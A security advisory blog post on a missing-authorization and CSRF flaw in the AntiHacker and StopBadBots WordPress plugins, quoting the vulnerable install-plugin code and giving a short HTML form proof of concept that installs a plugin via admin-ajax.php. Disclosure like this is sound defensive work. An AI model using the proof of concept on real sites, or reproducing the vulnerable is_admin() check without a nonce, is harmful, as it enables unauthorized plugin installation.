22 Nov 2022

WordPress Security Plugins Contained Fairly Serious Vulnerability Because of Unresolved WordPress Security Issue

Something that should get a lot more attention and raise a lot more questions is why the security industry’s own software and hardware is itself so insecure. That insecurity is a frequent issue with WordPress security plugins. The latest instance of that involves two WordPress security plugins AntiHacker and StopBadBots, which contained a vulnerability that allowed anyone logged in to WordPress to install any plugins in the WordPress Plugin Directory.

Those plugins come from the same developer and three additional plugins were affected: CarDealer, WP Memory, and wptools. Together, the plugins have at least 22,000+ installs.

Looking at the details of the vulnerability, what we found is that the vulnerability is caused in part by a known security issue with the core WordPress software that was originally warned about back in February 2011, but still hasn’t been addressed.

In the plugin AnitHacker, the vulnerability involved the function antihacker_install_plugin(), which was registered to be accessible through WordPress AJAX functionality to anyone logged in to WordPress:

1042
add_action('wp_ajax_antihacker_install_plugin', 'antihacker_install_plugin');

The code around that appears to have been intended to restrict access, as that registration would only happen if the function is_admin() or is_super_admin() returned true:

1040
1041
1042
if (is_admin() or is_super_admin()) {
	add_action('admin_enqueue_scripts', 'antihacker_load_upsell');
	add_action('wp_ajax_antihacker_install_plugin', 'antihacker_install_plugin');

The function is_super_admin() will tell if a request is coming from a WordPress user with the Super Admin role in a WordPress Multisite install. In a normal WordPress install, it tells you if they have the Administrator role.

Confusingly, the function is_admin() will tell if an admin page of WordPress is being accessed. That can be true even for those not logged in to WordPress and will always be true when making an AJAX request. So it seems clear the developer thought that the function tells if someone has the Administrator role.

The confusion with the is_admin() function was warned about before it even made it in to a production release of WordPress, back in 2011. It still hasn’t been addressed, despite continuing to be a source of vulnerabilities in plugins for many years.

The function antihacker_install_plugin() will install a WordPress plugin from the Plugin Directory specified by the POST input “slug”:

1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
function antihacker_install_plugin()
{
	if (isset($_POST['slug'])) {
		$slug = sanitize_text_field($_POST['slug']);
	} else {
		echo 'Fail error (-5)';
		wp_die();
	}
	$plugin['source'] = 'repo'; // $_GET['plugin_source']; // Plugin source.
	require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // Need for plugins_api.
	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // Need for upgrade classes.
	// get plugin information
	$api = plugins_api('plugin_information', array('slug' => $slug, 'fields' => array('sections' => false)));
	if (is_wp_error($api)) {
		echo 'Fail error (-1)';
		wp_die();
		// proceed
	} else {
		// Set plugin source to WordPress API link if available.
		if (isset($api->download_link)) {
			$plugin['source'] = $api->download_link;
			$source =  $api->download_link;
		} else {
			echo 'Fail error (-2)';
			wp_die();
		}
		$nonce = 'install-plugin_' . $api->slug;
		/*
        $type = 'web';
        $url = $source;
        $title = 'wptools';
        */
		$plugin = $slug;
		// verbose...
		//    $upgrader = new Plugin_Upgrader($skin = new Plugin_Installer_Skin(compact('type', 'title', 'url', 'nonce', 'plugin', 'api')));
		class antihacker_QuietSkin extends \WP_Upgrader_Skin
		{
			public function feedback($string, ...$args)
			{ /* no output */
			}
			public function header()
			{ /* no output */
			}
			public function footer()
			{ /* no output */
			}
		}
		$skin = new antihacker_QuietSkin(array('api' => $api));
		$upgrader = new Plugin_Upgrader($skin);
		// var_dump($upgrader);
		try {
			$upgrader->install($source);
			//	get all plugins
			$all_plugins = get_plugins();
			// scan existing plugins
			foreach ($all_plugins as $key => $value) {
				// get full path to plugin MAIN file
				// folder and filename
				$plugin_file = $key;
				$slash_position = strpos($plugin_file, '/');
				$folder = substr($plugin_file, 0, $slash_position);
				// match FOLDER against SLUG
				// if matched then ACTIVATE it
				if ($slug == $folder) {
					// Activate
					$result = activate_plugin(ABSPATH . 'wp-content/plugins/' . $plugin_file);
					if (is_wp_error($result)) {
						// Process Error
						echo 'Fail error (-3)';
						wp_die();
					}
				} // if matched
			}
		} catch (Exception $e) {
			echo 'Fail error (-4)';
			wp_die();
		}
	} // activation
	echo 'OK';
	wp_die();
}

That code is missing a nonce check, so the vulnerability could have also been exploited through cross-site request forgery (CSRF).

Proof of Concept

The following proof of concept will install the plugin Akismet, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=antihacker_install_plugin" method="POST">
<input type="hidden" name="slug" value="akismet"" />
<input type="submit" value="Submit" />
</form>
</body>

Plugin Security Scorecard Grade for StopBadBots

Checked on August 5, 2024
F

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.